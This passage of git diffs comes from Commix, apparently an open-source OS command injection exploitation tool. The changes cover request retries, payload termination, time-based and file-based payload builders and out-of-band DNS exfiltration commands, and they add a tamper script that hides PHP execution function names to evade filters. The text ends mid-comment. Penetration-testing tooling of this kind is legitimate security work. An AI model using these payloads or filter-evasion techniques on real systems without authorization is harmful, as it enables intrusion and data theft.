banner(): dest="tech", help="Specify injection technique(s) to use.") +injection.add_option("--type", + action="store", + default="", + dest="type", + help="Specify injection type(s) to use.") + injection.add_option("--eval", action="store", default=None, diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index bb4f4d8bb9..469495904c 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,6 +150,7 @@ def discover_digest_realm(url): Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): + settings.LAST_HTTP_ERROR = None # Delay in seconds between each HTTP request, plus whatever backing off the target has earned. time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY) if request.type == 'https': @@ -379,6 +380,8 @@ def https_open(self, req): # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): settings.HTTP_ERROR_CODES_SUM.append(err.code) + # Nothing is returned for it, so this is what tells a caller the request did reach the target. + settings.LAST_HTTP_ERROR = err if settings.VERBOSITY_LEVEL >= 2: parts = str(err).split(": ") if len(parts) > 1 and len(parts[1]) == 0: @@ -421,6 +424,23 @@ def https_open(self, req): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Send again a request check_http_traffic() came back from empty-handed - which it does both when nothing answered and when the answer was a 3xx/4xx/5xx already read off the wire, and only the first is worth repeating. +""" +def resend(request): + error = settings.LAST_HTTP_ERROR + if error is not None and str(getattr(error, "code", "")) not in settings.TRANSIENT_HTTP_ERROR_CODES: + raise error + # A long enough delay can push the target into erroring out, and that error arrives at the delay asked for - which is the measurement, so repeating it only pays the delay twice. + if error is not None and settings.TIME_RELATED_ATTACK: + raise error + if error is not None and settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Retrying the request due to HTTP error code '" + str(error.code) + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + return proxy.use_proxy(request) + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + """ Send a request, falling back to proxy/urlopen only if check_http_traffic() found no response. """ @@ -428,10 +448,7 @@ def send_request(request): do_check(request) response = check_http_traffic(request) if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = resend(request) return response """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d3fc834d55..2af0fe6e9c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -112,10 +112,7 @@ def crawler_request(url, http_request_method): headers.do_check(request) response = headers.check_http_traffic(request) if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = headers.resend(request) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: href = redirection.do_check(url, response.geturl()) @@ -548,16 +545,10 @@ def get_request_response(request): if response is not None: return response - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - try: - response = proxy.use_proxy(request) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = headers.resend(request) + except Exception as err_msg: + response = request_failed(err_msg) return response @@ -619,7 +610,8 @@ def encoded_for_url(value): if settings.TIME_RELATED_ATTACK: failed_attempts = 0 - while response is False and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: + # Only a request that never reached the target is worth sending again: an error status is still an answer, and asking for it again both pays the delay a second time and reads as a retried measurement, which discards the finding. + while response is False and not stability.answered_with_http_error() and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: failed_attempts += 1 start = time.time() response = get_request_response(request) @@ -660,7 +652,7 @@ def inject_header(url, payload, http_request_method): if settings.TIME_RELATED_ATTACK : failed_attempts = 0 - while response is False and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: + while response is False and not stability.answered_with_http_error() and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: failed_attempts += 1 start = time.time() try: diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index 7adad453fa..584f5fccc8 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -100,6 +100,12 @@ def requests_sent(): def request_was_retried(requests_before): return requests_sent() - requests_before > 1 +""" +True when the last request reached the target and was answered - with an error status, but answered, so its elapsed time is as good a measurement as a 200's. +""" +def answered_with_http_error(): + return settings.LAST_HTTP_ERROR is not None + """ True while the request loop should keep retrying: not succeeded, within budget, not unauthorized. """ diff --git a/src/core/techniques/classic/cb_payloads.py b/src/core/techniques/classic/cb_payloads.py index be4e14fabe..2bbacf9a1d 100755 --- a/src/core/techniques/classic/cb_payloads.py +++ b/src/core/techniques/classic/cb_payloads.py @@ -58,7 +58,7 @@ def decision(separator, TAG, randv1, randv2): settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator, keep_output=True) return payload @@ -95,7 +95,7 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): TAG + "')\"" ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator, keep_output=True) return payload @@ -127,7 +127,7 @@ def cmd_execution(separator, TAG, cmd): settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator, keep_output=True) return payload @@ -161,7 +161,7 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): TAG + "'+'" + TAG + "')\"" ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator, keep_output=True) return payload diff --git a/src/core/techniques/file_based/fb_injector.py b/src/core/techniques/file_based/fb_injector.py index 7405de2b5e..8fd3883ec5 100755 --- a/src/core/techniques/file_based/fb_injector.py +++ b/src/core/techniques/file_based/fb_injector.py @@ -31,6 +31,12 @@ def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_meth def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) +""" +The response holding the written file, from whichever URL it turns out to be reachable at. +""" +def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): + return injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + """ """ def select_output_filename(technique, tmp_path, TAG, prompt=True): diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index 12521cd23f..4e14b4df82 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -46,7 +46,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -59,7 +59,7 @@ def decision_combined(separator, tags, OUTPUT_TEXTFILE): operator = settings.FILE_WRITE_OPERATOR if index == 0 else settings.FILE_APPEND_OPERATOR writes.append("echo " + tag + operator + settings.WEB_ROOT + OUTPUT_TEXTFILE) payload = separator + separator.join(writes) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload """ @@ -79,7 +79,7 @@ def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) payload = checks.fix_newlines_for_headers(payload, separator) @@ -94,7 +94,7 @@ def decision_combined_alter_interpreter(separator, tags, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\n" + writes + "f.close()\n\"" + settings.CMD_SUB_SUFFIX ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) payload = checks.fix_newlines_for_headers(payload, separator) @@ -122,7 +122,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -150,7 +150,7 @@ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) payload = checks.fix_newlines_for_headers(payload, separator) diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index b963bddf5e..88043d0d7f 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -119,10 +119,8 @@ def dns_lookup_command(hostname, separator=OR): """ def decision(separator, transport, hostname, proof="", prologue=""): payload = separator + prologue + reach_command(transport, hostname, proof, separator) - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = checks.append_custom_marker(payload, separator) - # The payload ends on a hostname, so it is the part a sink's own trailing characters would land in. - return payload + checks.shell_tail() + # The payload ends on a hostname, the part a sink's trailing characters would land in. + return checks.terminate_oob_payload(payload, separator) # Standing in for a command, so how a language wraps one can be read back off the result. EVAL_MARK = "\x00command\x00" @@ -262,8 +260,9 @@ def heuristic_payload(channel, target_os): token, hostname = channel.new_payload() parts.append(separator + reach_command(transport, hostname, separator=separator)) probes.append((token, transport)) - payload = "".join(parts) - payload = payload + (checks.WINDOWS_TAIL if target_os == settings.OS.WINDOWS else checks.UNIX_TAIL) + # Closed on the last separator it chained on: this probe spans several by design, but the tail + # has no call to be a character the payload has not already used. + payload = checks.terminate_oob_payload("".join(parts), pairs[-1][0], target_os) return payload, probes """ @@ -347,7 +346,9 @@ def dns_exfil_command(hostname, cmd, separator=""): # the label separator. 'od' and the tools around it are POSIX, so this holds outside bash as well. encoded = ("(" + cmd + ")" + PIPE + "od -An -v -tx1" + PIPE + "tr -d ' " + settings.END_LINE.ESCAPED_LF + "'") - if separator not in (";", "\n", "\r\n"): + # CRLF is left to the pipeline below: the loop needs its statements on lines of their own, and a + # shell reads the carriage return as part of the word - 'done\r' is not 'done'. + if separator not in (";", "\n"): # The name goes in through the environment and the chunk as an argument, because a BSD 'xargs' # will not build a replaced argument longer than 255 bytes - the lookup chain alone is more. return (encoded + PIPE + "fold -w" + chunk + PIPE + "cat -n" + PIPE + "tr -d ' '" + PIPE + @@ -408,8 +409,6 @@ def exfiltrate(separator, transport, hostname, cmd): if not command: return "" payload = separator + command - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = checks.append_custom_marker(payload, separator) - return payload + checks.shell_tail() + return checks.terminate_oob_payload(payload, separator) # eof diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 3cdf1eb69e..e47554359d 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -80,7 +80,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) elif separator == "&": payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + @@ -108,7 +108,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -161,7 +161,7 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -243,7 +243,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -297,7 +297,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, pass if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -359,7 +359,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -406,7 +406,7 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -449,7 +449,7 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 174a9a8e1f..da3a06c1b0 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -92,8 +92,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) elif separator == "&": + # The "&&" this payload already carries can hold a variable, where a pipe into "wc" + # would bring in an operator the separator under test is not the one for. payload = (separator + - "[ " + str(output_length) + " -eq " + _length_expr(TAG) + " ]" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + "&&" + + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) ) elif separator == "&&" : @@ -117,7 +120,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -167,7 +170,7 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) payload = checks.sanitize_payload_newlines(payload) @@ -205,7 +208,7 @@ def condition_check(separator, condition, timesec, http_request_method): else: return None - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -240,8 +243,11 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) elif separator == "&": + # The "&&" this payload already carries can hold a variable, where a pipe into "wc" + # would bring in an operator the separator under test is not the one for. payload = (separator + - "[ " + str(output_length) + " -eq " + _length_expr(word) + " ]" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) ) @@ -265,7 +271,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -315,7 +321,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -340,8 +346,11 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): ) elif separator == "&": + # The "&&" this payload already carries can hold a variable, where a pipe into "wc" + # would bring in an operator the separator under test is not the one for. payload = (separator + - "[ " + str(candidate_length) + " -le " + _length_expr(word) + " ]" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + + "[ " + str(candidate_length) + " -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) ) @@ -364,7 +373,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -407,7 +416,7 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -447,8 +456,13 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) elif separator == "&": + # The "&&" this payload already carries can hold a variable, where a pipe into "wc" + # would bring in an operator the separator under test is not the one for. payload = (separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + "&&" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + var_ordinal_expr + " ]" + "&&" + "sleep " + str(timesec) ) @@ -474,7 +488,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return payload @@ -526,7 +540,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) payload = checks.sanitize_payload_newlines(payload) @@ -574,7 +588,7 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese else: pass - payload = checks.append_custom_marker(payload, separator) + payload = checks.terminate_payload(payload, separator) return checks.sanitize_payload_newlines(payload) diff --git a/src/utils/common.py b/src/utils/common.py index 0ab6b83b55..e2a6a995b5 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -108,8 +108,10 @@ def is_empty(): return is_empty() else: for item in settings.ANSWERS.split(','): - question = item.split('=')[0].strip() - answer = item.split('=')[1] if len(item.split('=')) > 1 else None + # Split once: an answer is free to hold "=" of its own, a URL with a query string most + # of all, and splitting on every one of them handed back the answer cut at the first. + question = item.split('=', 1)[0].strip() + answer = item.split('=', 1)[1] if '=' in item else None if answer and question.lower() in message.lower(): value = answer settings.print_data_to_stdout(settings.print_message(message + str(value))) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 67a8a42cf7..76437930a0 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -136,6 +136,7 @@ def stored_injection_type(injection_type): Map stored technique names to their "--technique" menu letters. """ def technique_letter(technique_info): + technique_info = settings.LEGACY_TECHNIQUE_NAMES.get(technique_info, technique_info) if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: return technique_info.split()[2][0] if technique_info == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: diff --git a/src/utils/settings.py b/src/utils/settings.py index f1b874c63b..3db7e922d7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "141" +REVISION = "142" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -694,7 +694,9 @@ class OS(object): """ SEPARATORS = [] DEFAULT_SEPARATORS = [";", "&", "|", ""] -SPECIAL_SEPARATORS = ["&&", "||", "\n", "\r\n", "\x1a"] +# cmd.exe's end-of-file. A separator only there, but a suffix on either target. +CTRL_Z = "\x1a" +SPECIAL_SEPARATORS = ["&&", "||", "\n", "\r\n", CTRL_Z] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 @@ -710,6 +712,9 @@ class OS(object): SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] +# A quote closes only its own kind. +QUOTES = ("'", "\"") + # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] @@ -948,11 +953,11 @@ def resolve_language(name): # Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that # it can serve the modules too, which never go through '--technique'. -AVAILABLE_TECHNIQUES = ['c','t','f'] +AVAILABLE_TECHNIQUES = ['r','t','f'] # The letter that used to name the evaluation sink before '--eval' did, the technique that reaches # that sink today, and the one whose technique carries whichever sink it is given. EVAL_TECHNIQUE_LETTER = 'e' -EVAL_CAPABLE_TECHNIQUES = ('c', 't', 'f') +EVAL_CAPABLE_TECHNIQUES = ('r', 't', 'f') OOB_TECHNIQUE_LETTER = 'o' # The languages the evaluation sink knows how to reach, and the word standing for all of them. SUPPORTED_EVAL_LANGUAGES = _eval.supported() @@ -1015,8 +1020,8 @@ def set_eval_grammar(language): # Supported injection types class INJECTION_TYPE(object): - RESULTS_BASED_CI = "results-based command injection" - RESULTS_BASED_CE = "results-based code injection" + RESULTS_BASED_CI = "classic command injection" + RESULTS_BASED_CE = "classic code injection" BLIND = "blind command injection" BLIND_CE = "blind code injection" @@ -1028,12 +1033,14 @@ class INJECTION_TYPE(object): # Spellings that older sessions hold, before the file-based technique was reported as blind. LEGACY_INJECTION_TYPES = { "semi-blind command injection" : INJECTION_TYPE.BLIND, - "semi-blind code injection" : INJECTION_TYPE.BLIND_CE + "semi-blind code injection" : INJECTION_TYPE.BLIND_CE, + "results-based command injection" : INJECTION_TYPE.RESULTS_BASED_CI, + "results-based code injection" : INJECTION_TYPE.RESULTS_BASED_CE } # Supported injection techniques class INJECTION_TECHNIQUE(object): - CLASSIC = "classic command injection technique" + CLASSIC = "results-based command injection technique" DYNAMIC_CODE = "dynamic code evaluation technique" TIME_BASED = "time-based command injection technique" FILE_BASED = "file-based injection technique" @@ -1043,6 +1050,17 @@ class INJECTION_TECHNIQUE(object): # Canonical order techniques are tested and reported in. TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.CLASSIC, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED, INJECTION_TECHNIQUE.OOB] +# The techniques each injection type is reached by - '--type' names the type, and the run tests +# every technique that shows a result that way. +AVAILABLE_TYPES = {"c" : "r", "b" : "tf"} + +# The technique letter follows the first letter of its name, so a renamed technique renames its +# letter with it - and a session written before the rename still has to find its way to the same one. +LEGACY_TECHNIQUE_NAMES = { + "classic command injection technique" : INJECTION_TECHNIQUE.CLASSIC +} +LEGACY_TECHNIQUE_LETTERS = {"c" : "r"} + USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False @@ -1407,6 +1425,19 @@ def strip_ansi_codes(text): # Output files written on the target, listed once per target when it is done with. LEFTOVER_FILES = [] +# Separators that join two commands and so cannot be the last thing on the line. +BINARY_SEPARATORS = ("&&", "||", "|") +# The shell's own do-nothing command, which also ignores every argument handed to it. +NO_OPERATION = ":" +# The separator that carries one command's output into the next. +PIPE_SEPARATOR = "|" +# Writing the output and reading it back are two requests, and the read can reach the target +# before the write has landed - so it is tried again while it still holds what it held before. +MAX_OUTPUT_FILE_READS = 3 +OUTPUT_FILE_READ_DELAY = 1 +LAST_OUTPUT_FILE_CONTENT = None +# How many times an unusable URL is asked for again before the run gives up on being answered. +MAX_INVALID_URL_ANSWERS = 3 # Findings confirmed this run, for the end-of-run summary. CONFIRMED_INJECTION_POINTS = [] # (prefix, suffix, separator, whitespace) confirmed by one technique, tried first by the others. @@ -1661,6 +1692,13 @@ class PRIORITY(object): HTTP_ERROR_CODES_SUM = [] +# Statuses a gateway gives about itself rather than about the request, so the same request put to +# it again may well be answered - unlike a 4xx, which is the target's answer and will not change. +TRANSIENT_HTTP_ERROR_CODES = (INTERNAL_SERVER_ERROR, BAD_GATEWAY, SERVICE_UNAVAILABLE, GATEWAY_TIMEOUT) + +# The status the last request came back with, where that status was an error - see headers.resend(). +LAST_HTTP_ERROR = None + # End line class END_LINE: CR = "\r" From 533f26404324afc919c0a04c4858eac8a130eca7 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 17 Sep 2026 07:44:24 +0300 Subject: [PATCH 0803/1023] Added new tamper script `phpconcat.py`, that runs the command through a PHP function named in concatenated pieces --- doc/CHANGELOG.md | 1 + src/tamper/phpconcat.py | 92 +++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 6 ++- 3 files changed, 98 insertions(+), 1 deletion(-) create mode 100644 src/tamper/phpconcat.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 219bf4be70..1f400ef7d6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `phpconcat.py`, that runs the command through a PHP function named in concatenated pieces. * Added: New option `--type` to select injection techniques by the injection type they report (i.e. `c` for classic, `b` for blind). * Revised: Renamed the "classic" technique to "results-based", after how its result comes back, so `--technique` now takes the letters `r`, `t` and `f` (e.g. `--technique="rtf"`). * Revised: The "file-based" technique is now reported as a "blind" injection type. diff --git a/src/tamper/phpconcat.py b/src/tamper/phpconcat.py new file mode 100644 index 0000000000..635e69f1b5 --- /dev/null +++ b/src/tamper/phpconcat.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command through a PHP function named in concatenated pieces ('she'.'ll_e'.'xec'). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +References: [1] https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/ +""" + +__tamper__ = "phpconcat" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +""" +The call the name is handed to, rather than being written where the call is. + +A payload here reaches PHP inside a string it is interpolated into, and what that allows is a +call by name, not a call on an expression - '("sys"."tem")(...)' does not parse there, while a +name passed as an argument does. The leading backslash names the global function, so a namespace +of the target's own cannot answer in its place. +""" +CALL_BY_NAME = "\\call_user_func(" + +# How many cuts a name is broken at, at most - beyond this the pieces are single letters anyway. +MAX_CUTS = 3 + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +The name as pieces the concatenation operator puts back together, none of them spelling it. + +Single quotes, because PHP reads neither an escape nor a variable out of them - a piece is the +letters it is written with, whatever it happens to start with. Cut in random places, so the same +name does not arrive split the same way twice. +""" +def _concat_name(name): + cuts = sorted(random.sample(range(1, len(name)), min(len(name) - 1, random.randint(1, MAX_CUTS)))) + pieces, start = [], 0 + for cut in cuts + [len(name)]: + pieces.append(name[start:cut]) + start = cut + return ".".join("'" + piece + "'" for piece in pieces) + +""" +The command the backticks were running, as a string for the call to be handed. + +Single quotes, because PHP reads a variable out of a double-quoted string and these commands carry +'${...}' of their own, which would be spent on the way rather than reaching the shell. +""" +def _quoted_command(command): + return "'" + command.replace("\\", "\\\\").replace("'", "\\'") + "'" + +# What the backtick operator is underneath, so naming it runs the command the backticks ran. +BACKTICK_FUNCTION = "shell_exec" +BACKTICK_COMMAND = r"`([^`]*)`" + +# Run the command through a function named in pieces, wherever the payload runs one. +def tamper(payload): + for name in settings.EXECUTION_FUNCTIONS_LVL3: + # Only where the name opens a call of its own, so a longer name carrying a shorter one is not + # rewritten from the middle - and the call's own closing bracket still closes the new one. + # A lambda, so that the backslashes the replacement is made of stay backslashes. + called = CALL_BY_NAME + _concat_name(name) + "," + payload = re.sub(r"(?<![\w\\])" + re.escape(name) + r"\(", lambda x: called, payload) + # The boundary a payload most often arrives on names no function at all - it runs the command in + # 